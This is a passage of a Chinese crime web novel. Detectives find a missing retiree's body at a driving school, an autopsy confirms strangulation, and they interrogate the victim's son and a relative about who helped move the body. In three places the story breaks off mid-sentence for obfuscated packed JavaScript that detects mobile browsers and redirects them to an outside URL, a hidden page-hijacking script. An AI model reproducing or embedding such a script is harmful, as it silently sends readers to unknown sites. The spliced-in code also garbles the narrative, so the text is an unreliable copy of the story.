收到消息时,陈染和彭亮已检查了驾校水泥地的情况。跟傅晋安报告的情况一致,驾校新铺的水泥地大部分都没有拆除。 挂断电话后,陈染跟彭亮和身边的几位刑警说:“根据老姚那边的发现,尸体的确有可能被人运到了驾校这边,接下来就看我们的了。” “让驾校负责人今天务必赶到现场,再让他们将所有参与整改工作的挖土机司机以及其他相关人员都叫过来,我们在这儿等着。”看了看土层下藏着的水泥地,陈染请魏所去打电话联系人过来。 与此同时,彭亮也给国土局的相关人员去了个电话,把驾校整改的事跟接电话的人交代清楚。这件事不归他管,但出事地点在他辖区,他既然看到了,不跟主管单位做下沟通不合适。 刚接到魏所电话时,驾校负责人王老板还想找理由推托。但魏所告诉他,驾校运土的事涉及到了一桩重大刑事案件,他必须要过来配合警方调查。 王老板吓得不轻,连道流年不利,挂断电话后,嘴上不断骂东骂西,开车的速度却一点都不慢,一个小时后就赶到了白鹤村驾校。 至于那些参与了挖土的司机和雇工,在两个小时内来了十三人,有一个人一直没到场,打电话也联系不上。 村委会的人早收到了信,知道驾校的事又爆了。这次过来的警察可不是当地派出所的民警,应该是上边派过来的。 他们到的时候,那些警察都在忙,全在驾校周围的田野和沟渠中走动翻找着,也不知道在找什么。 对于村里这两个干部,陈染没什么好感。能把农田承包给驾校,让那些人把好好的地给盖上一层难以拆掉的水泥地,她能给这些人什么好的评价? 就连承包的钱,都未必会转到村里的帐上,搞不好有一部分被这些人私吞了。 村里的事不在她的工作范围内,但她不介意把相关情况如实写到案卷中。 眼下要找到小货车司机,还需要村里的居民配合,看看村里是否有人曾看到过那辆车以及车上的司机。 所以陈染看到那俩人时,直接告诉他们:“我们这次过来,是要调查一起重大刑事案件。眼下我们需要白鹤村的老乡们配合下。” “配合,一定配合,我这就去广播室,用大喇叭通知一下。”村主任对市里来的警察还是有几分畏惧的,没敢像以前对待魏所等人一样,搞小动作。 看这些警察的举动,他感觉这次的事儿不小,要是查不出来,备不住以后会有更高级别的警察过来。要真是这样,那可太吓人了,万一谁一时兴起,想查查他,他哪儿经得住查? 所以他这次极其配合,回村委会后,就把陈染的要求通过大喇叭通知给全村男女老少。 等到驾校负责人王老板到场后,彭亮直接告诉他:“我们在找一具可疑尸体,这具尸体涉及到一桩重大案件。现在该尸体可能被你手下干活的人从地里挖了出来,运到了这边。” 王老板后退两步,感到腿肚子都在发抖。他确实算不上守法好公民,但涉及到命案的刑事大案他真的扛不住,也不敢沾。 “领导,这我真不知道啊。我平时就管大事,底下人具体怎么干活,都雇哪些人这些我不怎么过问的。我冤枉,这真没我什么事。” “不过你们放心,配合调查是我们公民应尽的义务,我马上把所有人都召过来,领导有什么想问他们的,尽管问。” 他到底见过些世面,短暂惊惧过后,理智恢复,很快恢复了正常。他不仅表态会配合,还把自己的责任摘了出去。 等到相关人员基本到场后,老姚给陈染打来了电话:“陈队,我这边已经让人来回查了四遍,是一寸一寸搜过来的,至今没发现尸体。要不,先把重点放在驾校周边如何?” “可以。驾校相关人员来的差不多了,剩一个没来的,打不通电话。” “那行,那边交给你,我再带人往周边扩散一下,扩大范围找找。”老姚说完便招呼人马往更远的地方走。 陈染挂断电话,让王老板把那些司机和工人都叫过去,再把尸体的事告诉他们。 如果有人的确看到过尸体,此时看到这里有大批警察,心里肯定会慌。想在警察面前掩盖这慌乱,普通人是做不到的。 大多数人被警察叫过来,心里都有不满或者埋怨之意,只不过他们不敢表现得太明显。 这种反应是正常的,只有两个人反应特别。在警察审视下,就算有意调整心情,他们也无法控制细微的表情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171736|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听完王老板说的情况,那些司机和雇工全都懵了,议论声四起。 王老板低吼一声:“别吵了,快说说你们谁看到了。看到了赶紧跟警察说,别瞒着。本来是小事都让你们给瞒成大事了。” “老板,我真的什么都没看到,就开车挖土了,别的我什么都不知道,不关我事。”有个挖土机司机抢先表态。 在他带头下,又有几个人表态,他们同样没发现尸体,更没发现什么可疑的东西。 看其他人要继续发言,陈染摆了摆手,示意他们先别说话。 她走到两个挨在一起的男人面前,淡淡地说:“王老板刚才跟你们说了,发现尸体是小事,如果早点交待尸体在哪里,你们要负的责任就没那么大。” “要是心存侥幸,想瞒天过海,欺骗警方,后果你们自己掂量。” “你们不交待也可以,稍后我会调警犬过来。” “不过到了那个时候,偷藏尸体的人可是要被从重处理的……” 俩人已心慌到控制不住神态,连周围的普通人都能看出他俩的异常。王老板见了,急切地道:“还愣着干什么,快说啊。” 其中一人膝盖发软,连腿肚子都开始抖起来,“我说,是有个很大塑料包,还沉。外边缠了不少胶带,能看出来里边是个人……” 另一个人心慌意乱,“扑嗵”一声坐到地上,说:“是有这么个东西,太吓人了,我当时魂都快吓没了。这事儿它真不怨我啊,我就是个小老百姓,大晚上突然看着个死人,我没吓疯都算好的。” “小李都吓到住院了……” 陈染看了下名册,被吓到住院的小李一直没接电话,老板王某打的是他家座机,没人接电话,可能是因为家里暂时没人。 终于有人交代,王老板松了口气:“领导,我这就让他俩带路,去把你们要的东西找出来。” 说完后,他又回头跟那俩偷藏尸体的人说:“还愣着干什么,赶紧带路,把那东西找出来啊!” “没藏哪儿,就一个沟沟缝里。”有个人嘀咕了一句,没敢再乱说话。 二十分钟后,陈染等人终于在附近树林的一处陡坡下发现了一个包裹严实的物体。那东西被人从陡坡上推下去,滚动中有部分塑料被山石刮破。 又过了十分钟左右,在众人合力下,一个包裹严实的塑料包被人运到了坡上的大石上。 虽然还看不清塑料里面的材质,但那块塑料布与黄国梁曾经购买的看上去差不多。 彭亮激动地跟陈染说:“不错,失踪案变成谋杀案,能找到这具尸体可真不容易。” 陈染心头放松些许,笑道:“确实不易,大家都出力不少。除了这具尸体,还发现了一枚疑似嫌疑人所有的戒指和足迹。这个收获可以的,对得起这些天大家的努力。彭队你和魏所也帮了我大忙,回头有空我们再约。” “这个不急,你先把这个案子一鼓作气拿下。”彭亮说。 “行,回去后我还得忙几天,看看什么时候能把口供拿下。”陈染说。 老姚在旁边看着,心里已在思考,究竟要怎样做,才能让黄国祥等人愿意开口交待。 到目前为止,他们还不太清楚,黄国祥和焦俊芳在这一案件中都担当了什么样的角色。 焦俊芳三弟是否介入这一案件也得查。 这些都要审清楚,以便厘清主从犯以及后续的定量定刑。 所以,案子办到这里,找到尸体,并不意味着结束,后续还有较硬的骨头要啃。 在几个人协作下,众人把包在塑料里的尸体装在袋子中,再抬到车上运走。 临走前,陈染留下两位刑警,让他们继续带着魏所等人给村民做笔录,以期找出目击者。 晚七时许,一行人马终于驶入市局支队大院。 支队几个在家的大队长得到消息,全都下楼等着,打算看看陈染他们带回来的尸体。 刑科大队齐法医也在人堆里站着,车队在院里依次停好时,别人先过去跟陈染说话,只有他的眼神直接落在倒数第二辆面包车上。 12. 三人行 不错的突破口 包裹尸体的塑料布呈浅蓝色,微透明。看不清塑料内容物的细节,但能看得出来,那是个人。 塑料布被胶带缠裹,因为运送时的磨擦,塑料布有几处出现破损,强烈的刺鼻味便从那些破损处溢了出来。 几位大队长围着包裹转了一圈,一大队队长特地掰着手指数了数,跟陈染说:“陈队,接手这个案子有三天吗?” “我怎么感觉你刚来报道,案子就快破了。你这样会让我有压力的。” 陈染看出来他在开玩笑,一大队队长张鹰是出了名的硬汉,像爆炸、恐吓以及绑架案等恶性案件都在他的处理范围内。 他从八十年代后期开始从警,立功授奖无数,是位有卓越实绩的刑警队长,不至于因为这个案子就有压力。 “张队真会开玩笑,这次办案能这么顺利,跟河东区分局汪队前期做的基础工作有关,跟我们五大队全体成员的努力也分不开,我一个人哪儿能办得来?” 说到这儿,她特意跟刑科大队队长老翟打了个招呼:“翟队,接下来有不少解剖和检验工作要做,还得翟队和刑科大队的哥姐们费点心,争取早一天把我要的检验结果做出来。” 其实她不说这些客气话,老翟他们也会好好做,这毕竟是老翟他们该做的工作。所以老瞿赶紧答应,让她尽管放心等结果。 几个队长都知道,案子办到这里,后续还有大量工作要做。大家都忙,所以他们围观完那个包裹,便与陈染分开,回了各自所在的队里。 齐法医没走,径直走过来问陈染:“这具尸体你打算怎么处理?” “先送殡仪馆,去了之后先检查一下此人到底是不是纺织厂退休干部黄良?至于要不要解剖,要看我们能否在体表上找到死亡原因。” “可以,我跟车去殡仪馆吧。”天快黑了,但齐法医一直关注这个案子,得知陈染已带人找到了尸体,他迫切地想打开塑料布,看看包在里面的人变成了什么样子。 作为法医,他是有职业追求的,被塑料包裹成这样的尸体他还是第一次见,他很乐于亲自给做这个尸检。 陈染与河东区的汪队都随着齐法医去了殡仪馆。与他们一起过来的,还有负责后续审讯工作的老姚和傅晋安。 “我现在要把胶带剪开,会有点臭。”进了解剖室,齐法医穿戴整齐,先拿出了一把剪刀。 事实上,齐法医的感觉与其他人是不相通的,他说的是有点臭,跟别人实际闻到时的感受完全不是一回事。 当塑料布被他打开时,一股强烈至极的味道霸道地撞入每个人的鼻腔中,令人阵阵作呕。 傅晋安不禁腹诽:这哪里是有一点臭?明明是奇臭无比。 老姚和汪队还好,他们从警多年,不知见过多少尸体,再臭也不会让他们表情管理失控。 陈染戴着口罩,视线落在那个蜷曲的人身上,仿佛也没受什么影响。只有傅晋安克制不住一阵一阵呕吐感,他走到墙边的通风扇附近,对着通风口调整了一会儿,才算恢复正常。 死者很快被抬到解剖台上,因为尸僵已经解除,在汪队帮助下,齐法医顺利将尸体放平,呈仰卧状摆放在解剖台上。 死者的脸和暴露在外的皮肤都呈现青色,他头发花白,下巴处比较方。即使死后脸变型了,陈染仍然很快认出,这个人就是他们一直要找的失踪者黄良。 看到那张脸时,汪队仿佛卸下了一个重担,自言自语:“总算找到他了!” 陈染早就料到是这种结果,倒没什么意外。 “老姚,派人上门去把黄国吉与黄国祥兄弟请过来吧。”陈染转头告诉老姚。 老姚明白,同样是请,这次跟上次完全不一样,上次是和风细雨式的。这一次他们就是不想来也得来。 老姚很快安排好人手,让人带队分别去黄家兄弟家中请人。齐法医解开老人的睡衣扣子,很快发现,他颈部有明显的淤痕。 案发时距离现在已经七天,时间不算短了。要想确定这个淤痕是否是被人扼颈致死,肯定需要解剖验证一下,以便通过舌骨断折的情况确认死因,再出具法庭认可的报告书。 考虑到还得等黄家兄弟来认尸,齐法医并没有急于切开黄良的咽喉。 一个半小时后,黄国吉与黄国祥被刑警带到了解剖室,进门时,黄国吉神情虽有紧张,但没有恐惧。 黄国祥站在门口,腿肚子控制不住地发抖,带他过来的刑警催促了两次,他才挪进解剖室。但谁都看得出来,此时他脸色发红,仿佛喝了酒,走路时也有点打飘,跟陈染头一次见到他时判若两人。 老姚不动声色地招呼着黄家兄弟:“过来看看吧,他是不是你们俩的父亲黄良老同志?” 黄国吉先走过来,他脚步有点沉重,但神色还算正常,直到他看到黄良浮肿变形且发青的脸时,鼻子一抽,开始流泪。 “对,就是我爸,这套睡衣还是我两年前给他买的……”黄国吉声音哽咽,确认眼前人就是他爸黄良。 “黄国祥,该你了。”老姚示意黄国吉让到一边,让黄国祥也过来看看。 黄国祥趔趄了一下,脚步虚浮,深一脚浅一脚,过来时还咽了咽口水。这个动作足以证明他很紧张,紧张到肾上腺素飚升,血压升高,导致他面红口干,所以才会有吞咽口水这种下意识的小动作。 到了这种程度,稍微有点经验的刑警,都能看出来,老爷子的死跟他二儿子黄国祥脱不开干系。 “是,他是我爸。”在老姚催促下,黄国祥也承认这是他爸。 陈染不再看他,直接告诉齐法医:“既然确认死者就是黄良,那就开始解剖吧。” 涉及到谋杀案,无须家属同意,警方认为有必要解剖就有权解剖。所以陈染没有再问黄家兄弟的意思,直接下达了命令。 齐法医用剪刀剪掉了黄良的睡衣睡裤,还拿起一把锋利的手术刀,在尸体胸腹正中线上比了一下,看样子下一刻就会把尸体剖开。 黄国吉终于怕了,他别过头,颤着声音问陈染:“领导,这个我也需要看吗?” “按规定解剖时需要家属陪同,你要是受不了的话,可以请你弟留下。留一个人就行。” 解剖时确实需要家属陪同并签字,但来的人一般都是远亲,因为近亲以及直系亲属很难承受解剖时的巨大冲击。 但黄国祥是例外,陈染不会为他考虑那么多。 看着黄国吉逃也似地出了解剖室,黄国祥急了:“我,我也……” 傅晋安客气地伸出手臂,挡在他前面:“家属需要留一位,你比你哥年轻,你在这儿守着吧。” 黄国祥被迫留下,随着解剖刀划下,他开始不断冒冷汗,颤抖的频率比刚来时还要高。 齐法医并没有真的切开尸体胸腹部,他只切开了死者咽喉,检查舌骨周边情况。 半小时后,齐法医终于给出了初步结论:“陈队,黄良的死因是掐颈致死。他身上没有抵抗伤,怀疑作案人为亲近之人,黄良对他没有防备心理,所以会让他进入家中他个人的卧室,还没有任何反抗举动。” 黄国祥后背已经湿了大半,颈侧更是汗湿一片,本来就够紧张了,突然听到法医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171737|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于作案人身份的猜测,他再承受不住,“咚”地一声,坐到地上,连呼吸都急促起来。 老姚半蹲下去,对着他的眼睛,看了好一会儿,才问他:“黄国祥,你怕什么?难道说,齐法医说的嫌疑人是你?” 黄国祥下意识挥着手臂大吼:“胡说八道,不是我,我怎么可能害我爸?” 老姚冷笑道:“你爸要收回存折,不再给你钱,你是不是很生气,气得要掐死他?” “没有,我没有……” “真没有?你们爷俩吵架,楼上楼下甚至隔壁都能听到动静,有没有你自己心里清楚。” 黄国祥攥紧拳头,不再吭声,像是打定了主意死不承认。 老姚不急,审讯这种重案嫌疑不是一蹴而就的事。 可能需要审许多次,一点一点补齐嫌疑人作案的动机以及过程,再将案件像拼图一样拼完整才行。 黄国祥心里明白案发后果,这个后果是他不能承担的,所以他必然要抗审,对此老姚早有心理准备。 今天能确认黄国祥是案犯就达成了第一步目标,老姚打算把调查做得更细致一点,深挖黄家父子三人之间的恩怨,以及黄国祥兄弟与焦俊芳之间的纠葛。 陈染和老姚都不想打无准备的仗,所以黄国祥被带到市局后,老姚并没有马上对他进行讯问,只让他待在讯问室里,再让几个刑警轮流在讯问室守着他。 刑警们在那儿只有一个要求,坐着就行。想喝茶看报纸都随意,就是不要跟黄国祥沟通,先晾他两天。 次日清晨,吕承光带队去了黄国祥家里,进行了细致的搜查,搜了二十分钟左右,一位刑警竟从厢房一个装旧鞋的纸箱里翻出一双黑色运动鞋。 看到那双鞋,吴为兴奋地说:“就是这双鞋,鞋底上的泥还没刷干净,他往这儿一丢就不管了,倒是方便了咱们。” 搜查还没有结束,没有多久,一位刑警又从装杂物的小房间里翻出一瓶用了一半的消毒剂,那消毒剂的味道与黄良家中的味道一样。 距离结果越来越近,快到中午时,陈染接到了基因鉴定中心于主任的电话。 “陈队,按你的要求,我们做了加急,关于黄国祥与其侄女的常染色体亲子鉴定,结果刚刚出来。” “谢谢于主任,请问两人是否具备亲子关系?”陈染问道。 “是的,两人确实有亲子关系,这次的检查结果挺特别的,黄国吉女儿与黄家兄弟俩都有亲子关系,我们以前也没见过。” “理论上倒是知道这种可能,但实际操作是头一次。考虑到黄国祥和黄国吉是亲兄弟,只用常染色体做鉴定的话,确实会有这种现象发生的可能。” “为了查清楚孩子真正的生父是谁,我再按你的要求给他们加做一次X-str。加急的话,今晚下班前能出结果。” 于主任是头一次接这种任务,她也乐意配合陈染做这些鉴定。 陈染挂断电话,感觉仅有这些还不够。她还得弄清楚,焦俊芳在这次的案件中到底都做了什么。 此时焦俊芳和她三弟也被带到了讯问室里,老姚正在审焦俊兴,焦俊芳就在隔壁讯问室,陪着她的是一位女警。 她亲眼看着老姚让人把她三弟带到一墙之隔的讯问室,她面上没什么特别表现,心里却焦急得不行。 因为她清楚,在几个知情人中,她三弟焦俊兴是最藏不住事、也最容易被人诈出话来的。 老姚也是这么想的,审讯之前,他就对几个涉案人员做了调查。跟他姐姐焦俊芳比,冲动易怒又是姐控的焦俊兴无疑是个不错的突破口。 13.三人行 背后推手 “你们带我来干什么?”被刑警带进讯问室时,焦俊兴看似抗拒,说话的底气却有些不足。 老姚淡淡地看着他,等焦俊兴被按坐在椅子上,他并未着急说话,只坐在对面安静地瞧着对方。 在他注视下,焦俊兴眼神慌乱,目光开始游离。两人的视线几次在半空中交汇,焦俊兴都若无其事地避开了。 老姚“呵”地笑了一声,让傅晋安把野地里发现的轮胎印照片递给他。 找到黄良尸体的事,他们也通知了焦俊芳,相信这个时候,她弟弟焦俊兴应该也知道了。 如果他了解一些内幕,甚至部分参与了案件,此刻被警方带到这里,他肯定平静不下来。 眼前的事实如老姚预料到的一样,看到那张轮胎印照片时,焦俊兴嘴唇有些抖动,脸色变得煞白。 这种细微变化对于老姚和傅晋安来说,就相当于撂了明牌。 很明显,对于黄良被害的事,焦俊兴是知情的。 “这个轮胎印,你有没有印象?”老姚不急不缓地问道。 “我,我不知道,你们给我看这个干嘛?”焦俊兴心中慌乱, 这个轮胎印与他那辆车的轮胎一模一样,他怎么可能不认识? 即使他在努力组织语言,也找不到一个完美的说法,以此挡住警方对他的怀疑。 老姚表情变冷,声音转厉:“你姐姐的公公黄良已经遇害,被人抛到了郊外山脚下。” “黄良尸体已被我们找到,这个轮胎印就是在黄良一案的抛尸现场找到的,与你常开的小型货车轮胎完全一致。” “经过化验,你那辆车轮胎里的泥土成分也与案发现场土质一致。这说明事发当晚,你的车曾出现在现场。” “所以,你现在说说我们为什么要给你看这东西?你就没有什么要说的吗?” 焦俊兴攥紧拳头,呼吸变得急促,恐惧中又掺杂着愤怒的表情。 处在这种高压氛围下,很少有人能顶得住压力。现在警方手里又有明确证据,证明他的车曾在现场。 他心知肚明,如果他不能给出让警方一个让人信服的解释,有可能会被警方定性为杀人案凶手。 焦俊兴早些年确实常与人打架,但他最多把人打骨折。他不是亡命之徒,与纺织厂的退休干部黄良也没有深仇大恨,又不图黄良的钱财,怎么可能动手把黄良杀了? 但警方查到了他的车,他不给个合理的解释,今天这一关肯定过不去。 过了两分钟,讯问室里一直没人说话,对面三个警察都面无表情地看着他。那种看穿一切的神态,让焦俊兴放弃了侥幸心理。 “那车,那车不是我开过去的,是黄国祥!” “真的,就是他找我借的车,说是要拉点货。” “黄国祥花钱太大,老跟他爸要钱,父子俩经常吵架,那天他俩可能是吵到气头上,不小心把他爸给弄死了,谁知道呢?” 对他这个猜想,老姚没有给予任何回应,反问道:“你姐夫是黄国吉,黄国祥又不是你姐夫,你怎么会把单位的车借给他,你俩很熟吗?” 焦俊兴神色微变,没有说出他姐焦俊芳和黄国祥的关系,反倒找了个看似合理的理由:“就是认识,他以前也找我借过车。每回他借车都能按时还,还车时还能加满油,所以他要借车我一般都会借。” “我发誓,老黄头出事那两天,都是黄国祥开的车,不关我事儿。” “我那几天晚上不是在家里待着,就是去对门打麻将,不信你们问我媳妇还有对门邻居。” 焦俊兴急于撇开杀人这种罪名,三言两语就把黄国祥招了出来。但他并没有提及他姐焦俊芳。 傅晋安附在老姚耳边,小声说:“焦俊兴姐弟俩关系密切,不上点手段,他可能不会把焦俊芳在这里边的事儿说出来。” 老姚点头,从最近几天调查到的资料能判断出来,焦俊芳十有八/九参与了这一案件。 或许她没有亲手杀死黄良并抛尸 ,但她在这里面很可能扮演了某种角色,甚至是一个怂恿者或者出谋划策的人。 焦俊兴把黄国祥交待出来后,急切地等待着对面几个警察的反应。可惜,那几个警察神色不变,似乎并没有被他说动。 片刻后,傅晋安才问道:“就这些,我们原以为你是个恩怨分明的人,只是性格冲动些,做人还是可以的,没想到你到现在还没跟我们说实话。” “黄国祥如何,我们心里有数。现在你再说说,你姐都干什么了?” 焦俊兴惊讶抬头,那一刹那的愕然根本就掩饰不住。 看到他这副样子,傅晋安“呵”地笑了下,说:“别那么惊讶,关于你姐跟黄国祥兄弟之间的那点事,我们早就知道了。” “能把你们带到这个地方,自然是因为该掌握的我们都已经掌握了。现在让你说话,是给你减轻责任的机会,能不能把握,在你自己。” “其实有些事就算你不说,我们也能从别的渠道了解真相。” “这一点你不用怀疑,我们能从几十里外的山里扒出你那车的车轮印,能在短短两三天时间里把黄良尸体从野外翻出来,自然有法子知道任何我们想知道的真相。” 傅晋安这番说辞的确给焦俊兴造成了不小的压力。他神情松动,两只手的手指下意识揉搓着。 还差点火候!老姚决定再加一把火。 傅晋安仍沉着脸,冷冷地盯着焦俊兴。老姚却往后一靠,语气变缓,问焦俊兴:“你家里父母身体都不好,听说你是两个姐姐带大的,跟她们感情好是吧?” 焦俊兴没吱声,默认了。 老姚又道:“我明白,有些事你知道,但怕说出来会变成背信弃义的小人,会对不起你姐是吧?所以你不愿意说。” “我最近也找一些人谈了话,包括你以前的同学、老师还有朋友。” “关于你的过往,有说好的,也有说不好的。不过很多人都认为你是个讲义气的人,对你家人还有好朋友都是如此。” 焦俊兴有些动容,从老姚那里,他找到了一些被认同的感觉。 说到这儿,老姚又叹了口气,说:“你不想说实话,其实我能理解。我也不否认,你二姐焦俊芳以前对你的确很好,照顾过你。” “可你想过没有,最近这些年,焦俊芳每次与人发生冲突矛盾,或者出现一些意外,都会找你出面帮忙,她指哪儿你打哪儿。” “为了她的事,你曾经把一个人的胳膊给打折,还进了看守所。这些事可是要进档案、随着你一生的,甚至还会影响到你的孩子。” “还有这次借车的事,如果没有你姐夹在中间,你能把车借给黄国祥?” “这可是杀人的大事,你掺合进去,有什么好处?是分到大笔钱了、拿到房子了还是升职加薪了,你值得吗?” 焦俊兴脸上血色全无,神色恍然,看样子是在思考老姚说的这番话。 这么多年,他已经习惯了凡事挡在姐姐面前,他姐让他做什么他就做什么。现在细想,为了他姐的事,这几年他确实给自己惹了不少麻烦。 为此,他老婆不知道跟他吵了多少架。 老姚沉默下来,片刻后,傅晋安用清冷的声音问焦俊兴:“人都是会变的,我不否认你姐焦俊芳以前对你的照顾。” “但你想过没有?如果她真在乎你,心里真有你这个弟弟,就该为你的前途、为你的小家庭考虑,有些涉险犯法、得罪人的事就不该找你去干。” “她在外受了气,让你打人就打人,事后进看守所留污点的是你。她是给你钱了还是帮你解决人生大事了?都没有吧,现在你们家三口人还住在一个旧平房里,门市房还是你岳父帮忙买下来的。你姐手里存款不少,她出什么了你心里没数?” “承认吧,你们都长大了,也变了,各自有家庭,小时候的情分到现在能剩下多少全都得看良心。” 焦俊兴垂下头,额头几乎抵到桌面上。看着他双手十指插入头发,用力按着头皮,半晌没动,傅晋安便知道,他和老姚说的话起了作用。 老姚看了看表,并没有急于逼迫焦俊兴说出真相。 “刚才我跟小傅说的话你好好考虑下,你现在最该考虑的是你媳妇还有家里的小孩。有些责任不该你背的,你若是背了,你让他们以后怎么办?” “你先想想吧,关于焦俊芳的事,还有案件的一些细节,什么时候你想通了,就让人通知我们。” 老姚说罢,站了起来,走之前叮嘱留在这儿看守的刑警:“回头给他拿点吃的还有水。” 从讯问室出来,两个人直接去了陈染办公室。此时陈染正在处理电脑上的一枚疑难指纹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173773|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入职后,支队长曾发给她十二个疑难案件,让她抽空看看。 有一个案子是罗平市的一个分局发来的,其关键难点就在这枚指纹上。因为指纹很糊,当地警方没能比对成功。 老姚和傅晋安进来的时候,陈染已经用图像增强的办法将糊成一团的指纹处理成清晰的图片,还标出了足够的特征点。 指纹已传到刑科大队老翟那里,需要他帮忙核对下。如果没有问题,就可以上传给案件主办单位。 “审完焦俊兴了,怎么样?”陈染知道,刚接手这个案件,老姚就在有意地收集所有涉案人员的资料,为接下来的审讯工作做准备。 焦俊兴在这几个人里不算难审的,老姚和傅晋安搭伴,不会审不出来,所以陈染没有过去。 “招了一部分。”老姚简单说了下审讯的过程,陈染笑道:“你俩不是第一次合作了吧,作搭子作得挺熟练,一个红脸一个白脸的。我看要不了多久,他就会把焦俊芳的事说出来。” “焦俊芳那边可以先等等,稍后再审。她左手写的字已被送到刑科大队,经过鉴定,那封举报黄国吉赌博的信就是她写的。” “回头你们找人把这个消息传到黄国吉那里,孩子不是亲生的事也告诉他,看看他怎么说?” 傅晋安暗中感叹,这两个消息对于黄国吉来说,打击不会小。他老婆不仅举报他赌博,连孩子都不是他的,也不知他知道这些真相会怎么样? 陈染自然知道这些事对于黄国吉来说不好接受,但站在她这个位置上,有些事容不得她仁慈心软。 所以她继续说道:“我感觉他对于焦俊芳还是有幻想,之前跟我谈话时,只举报了他弟黄国祥,关于焦俊芳的事却只字不提。” “这不行,所有涉案人员都要挖出来,一个不能漏。” “黄国祥前妻的笔录你们也看了,她和黄国祥离婚,就是因为嫂子焦俊芳与她丈夫暧昧不清。” “这件事他们家里人全都知情,死者黄良曾因此事咒骂过焦俊芳,还拒绝她上门。以焦俊芳的强势性格,也许她不会咽下这口气。” “所以,她是有作案动机的。” 老姚点了点头,答应了:“行,稍后我就安排人把消息透给黄国吉。” “再晾黄国祥一天,明天我跟小傅再去审他。” 陈染没打算干涉审讯的事,就道:“姚大哥,这方面你更擅长,审讯的事就交给你安排了。” 说到这里,她办公桌上的座机电话响了,打电话的人是河东分局刑警大队长云队。 “听说纺织厂那起失踪案你马上就要破了,这也太快了,案子是从我这儿转过去的,你破得这么快,我都不好意思了。” 陈染笑道:“云队,这真不至于。说实话,案子能破得这么顺利,跟你们河东分局前期所做的大量调查工作有关。汪队还提供了一些关键性的线索。” “你这回打电话,不只是为了这件事吧?”陈染笑着问道。 “倒也不是,支队长是不是给了你一批疑难案件?有个案子是我一个朋友主办的,死者是福源集团董事长儿媳,死因初步鉴定为溺亡。” “但是她一个律师同学找到我朋友,希望我朋友能重新调查一下死因。” 这个案子陈染有印象,在没看到尸体前,她无法给出进一步的意见。 “律师姓名发我,回头我联系她,跟她聊聊。” “是佳兴律师事务所的女律师,姓韩。” 佳兴律师事务所?陈染记得她校友彭律师就在那家事务所。 现在彭律师已经当上了合伙人,还是河西分局刑警大队二中队队员郭威女朋友。 但她并没有急于给韩律打电话,她打算晚上重新翻翻那个案件,再决定要不要联系对方。 次日一早,陈染已看完涉案卷宗,的确找到了几处可疑的地方。那位女律师既然请求警方重新调查,或许也有所怀疑。 陈染觉得是时候找韩律师谈谈了。 不过眼下黄家人的案子还没办完。想见对方,至少也要等到下班后。 看了下表,再过二十分钟就到九点,老姚和傅晋安已从焦俊兴那里拿到了一些有用的线索,今天他们会连续对黄国祥以及焦俊芳进行讯问。 她打算先过去旁听下,多积累一些经验。再过一阵子,她也会陆续介入到审讯工作中。